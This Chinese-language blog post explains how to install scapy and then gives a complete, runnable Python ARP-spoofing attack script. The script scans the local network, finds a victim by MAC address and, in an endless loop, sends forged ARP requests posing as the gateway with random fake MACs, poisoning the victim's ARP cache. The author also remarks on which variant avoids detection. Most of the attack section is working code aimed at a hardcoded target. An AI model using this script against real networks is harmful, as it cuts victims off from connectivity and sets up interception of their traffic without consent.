scapy arp

 

不久前才知道scapy这个工具,相见恨晚。其强大在于可以修改数据包,基于python,使用更加方便。真正开始研究TCP/IP是在半年前,本人不才,拿着FreeRTOS-TCP/IP源码看了个把月,仍然迷茫,好在TCP/IP协议部分明白了很多。一个月前接触Python,目前正在慢慢熟悉。

Ubuntu14.04安装scapy


 由于我的系统已安装Python2.7,但是没有安装pip,这里首先安装pip

1 sudo apt-get install python-pip

如果失败的话可以尝试如下一句 

1 sudo apt-get update --fix-missing

pip安装完成之后,安装scapy

sudo pip install scapy

至此,scapy安装完成,如下可以测试以下

vmuser@Linux-host:~/桌面$ python
Python 2.7.3 (default, Oct 26 2016, 21:04:23) 
[GCC 4.6.3] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from scapy.all import *
>>> a = IP()
>>> a
<IP  |>
>>> get_if_hwaddr("eth0")
'00:0c:29:70:b1:85'
>>> 

eth0是我的网卡。

 Python3.6


 

pip install scapy

或者是

pip3 install scapy-python3

 

ARP ATTACK EXAMPLE (1)


 ARP攻击的原理略谈一下,基本就是伪造报文,污染主机或网关的arp缓存表,复杂一些的就要佯装网关,中间攻击。限于本人水平,怎么简单怎么来吧。

 

#! /usr/bin/env python

from scapy.all import *
import time
import random
import os

def GetSubNet(OurIP):
    Index,SubString = 0,""
    while True:
        num = OurIP.find('.',Index)
        if num != -1 : Index = num + 1
        else : SubString = OurIP[:Index];break
    return SubString

def GetMac(tgtIP,Retry=4):
    cnt = 0
    try:
        while cnt < Retry:
            tgtMac = getmacbyip(tgtIP)
            if tgtMac is None:print("Get Mac of IP <%s> failed...Will Retry the <%s> times"%(tgtIP,cnt));cnt += 1
            else:return tgtMac
    except:
        print("Get Mac of %s failed..."%tgtIP)
        return None

def GetBrocastIP(OurIP):return GetSubNet(OurIP) + "255"

def GetForgedIP(OurIP,Num):
    SubString = GetSubNet(OurIP)

    ForgedIP,i = [],0
    while i < Num:
        num = int(random.uniform(0,255));TempIP = SubString + "%d"%num
        if TempIP == OurIP:continue
        else:ForgedIP.append(TempIP);i += 1
    return ForgedIP

def GetForgedMac(OurMac,Num):
    ForgedMac,j = [],0
    while j < Num:
        while True:
            i,TempMac = 0,""
            while i < 6:
                num = random.randrange(0,256,1)
                TempMac = TempMac + "%02X"%num
                if i <= 4:TempMac = TempMac + ":"
                i += 1
            #Almost impossible that a forged MAC is our own.
            if TempMac == OurMac:pass
            else:ForgedMac.append(TempMac);j += 1;break
    return ForgedMac

Table = {}
def ScanfByArp(OurIP = "192.168.0.1",Start = 0,End = 255,TimeOut = 3,ClearAtFirst = True):
    if ClearAtFirst is True : Table.clear()
    SubString = GetSubNet(OurIP)
    ip = []
    for num in range(Start,End+1):ip.append(SubString+str(num))
    ans,unans=srp(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(op=1,pdst=ip),timeout=TimeOut)
    def GetArpResult(r):
        Table[r.sprintf("%ARP.hwsrc%")] = r.sprintf("%ARP.psrc%")
        return r.sprintf("%ARP.hwsrc%\t%ARP.psrc%")
    g = lambda(s,r):GetArpResult(r)
    ans.summary(g)

def GetIpByMacWithRetry(Mac,Retry=4,Delay=4):
    for i in range(0,Retry + 1):
        time.sleep(i*Delay)
        ScanfByArp(Start=100,End=150,TimeOut=5,ClearAtFirst=True)
        Res = Table.get(Mac)
        if Res is not None:return Res
    else:print("Can not get ip of <%s>"%Mac);return None

def Attack_MAC(Face,GWIP,MAC,PackNum,Counter,Interval):
    
    MY_ip = get_if_addr(Face)
    MY_mac = get_if_hwaddr(Face)
    if MY_ip is None or MY_mac == None:return
    print("%s -> %s"%(MY_ip,MY_mac))
    
    BctIP = GetBrocastIP(MY_ip)
    Bct_mac = "FF:FF:FF:FF:FF:FF"
    print("%s -> %s"%(BctIP,Bct_mac))
    
    GW_ip = GWIP
    GW_mac = GetMac(GW_ip)
    if GW_mac is None:return
    print("%s -> %s"%(GW_ip,GW_mac))

    XM_mac = MAC
    XM_ip = GetIpByMacWithRetry(XM_mac,4,4)
    if XM_ip is None:return
    print("%s -> %s"%(XM_ip,XM_mac))
    cnt = 0
    while True:
        Temp_mac = GetForgedMac(MY_mac,PackNum)
        Temp_ip = GetForgedIP(MY_ip,PackNum)
        PKT = Ether(dst=XM_mac)/ARP(op=1,psrc=GW_ip,hwsrc=Temp_mac,pdst=XM_ip,hwdst=XM_mac)
        try:sendp(PKT,iface = Face);cnt += 1
        except:print("!!Send Error!!")
        print("Will sleep for %s S and had sent %s PKTs"%(Interval,cnt))
        time.sleep(Interval)
        if Counter == -1:pass
        else:
            if cnt >= Counter:return

def EnsureWifiConnection(GWIP="192.168.0.1",Interface="eth0",Delay=2):
    '''
    GWIP:your gateway's ip
    Interface:the network interface you want to use
    Delay:
    '''
    if IsWifiWorkWell(GWIP) is False:
        print("Will restart the interface <%s>"%Interface)
        os.system("ifconfig %s down"%Interface)
        time.sleep(Delay)
        os.system("ifconfig %s up"%Interface)
        time.sleep(Delay)
        os.system('sudo /etc/init.d/networking restart')
        time.sleep(Delay)
        print("Network restart finished...")
        return True
    else:return False
def IsWifiWorkWell(GWIP = "192.168.0.1"):
    '''
    To check whether the wifi is working well by acquiring GWIP's MAC(Usually our gateway's IP)
    '''
    if GetMac(GWIP) is None:return False
    else:return True
if __name__ == "__main__":
    #while True:
    #AttackIP("192.168.0.108","wlan0",10,60,"192.168.0.1")
    #AttackMac(Mac,face,Num,Interval,GW_IP):
    #AttackMac("C8:3A:35:C0:05:15","wlan0",2,2,"192.168.0.108")
    #num=0
    #while num < 0:
    #    num = num + 1
    #    time.sleep(60)
    #    print(num)
    while True:
        EnsureWifiConnection()
        Attack_MAC("ens33","192.168.0.1","04:e6:76:46:a6:f3",60,300,1)

 

代码执行过程简介:

首先调用函数Scanf扫描局域网,获取当前活动主机的IP-MAC信息,并保存在字典Table中,搜索目标MAC获取其IP地址,这样我们便可以此伪造数据包。

如下语句便是整个程序的核心--伪造数据包。

PKT_2 = Ether(dst=XM_mac)/ARP(op=1,psrc=GW_ip,hwsrc=Temp_mac,pdst=XM_ip,hwdst=XM_mac)
dst:以太网层目的地址
src:以太网层源地址,默认填写我们自己网卡的地址
op:ARP类型(1:请求,2:应答)
psrc:ARP层源ip地址
hwsrc:ARP层源mac地址
pdst:ARP层目的ip地址
hwdst:ARP层目的mac地址

我们模仿网关向目标发送ARP请求报文,目标收到此请求之后会更改自己的ARP缓存,再发送ARP应答。然而,请求报文中的网关MAC是伪造的,也就是说目标记录了一个假的网关MAC,但是他的ARP应答会发给谁呢?会发给攻击者,因为以太网层的源地址是我们自己!!这样我们便能判断目标是否上当(然而我并没有用到到这个功能)。

如下语句发送报文。

sendp(PKT_2,iface = Face)

 当然也可以假装目标向网关发送请求报文,如下:

#PKT_1 = Ether(dst=GW_mac)/ARP(op=1,psrc=XM_ip,hwsrc=Temp_mac,pdst=GW_ip,hwdst=GW_mac)

但是这样容易使得网关发送大量广播报文,这样很容易被发现的。

posted @ 2017-03-02 16:25  萤火酱  阅读(782)  评论(0编辑  收藏  举报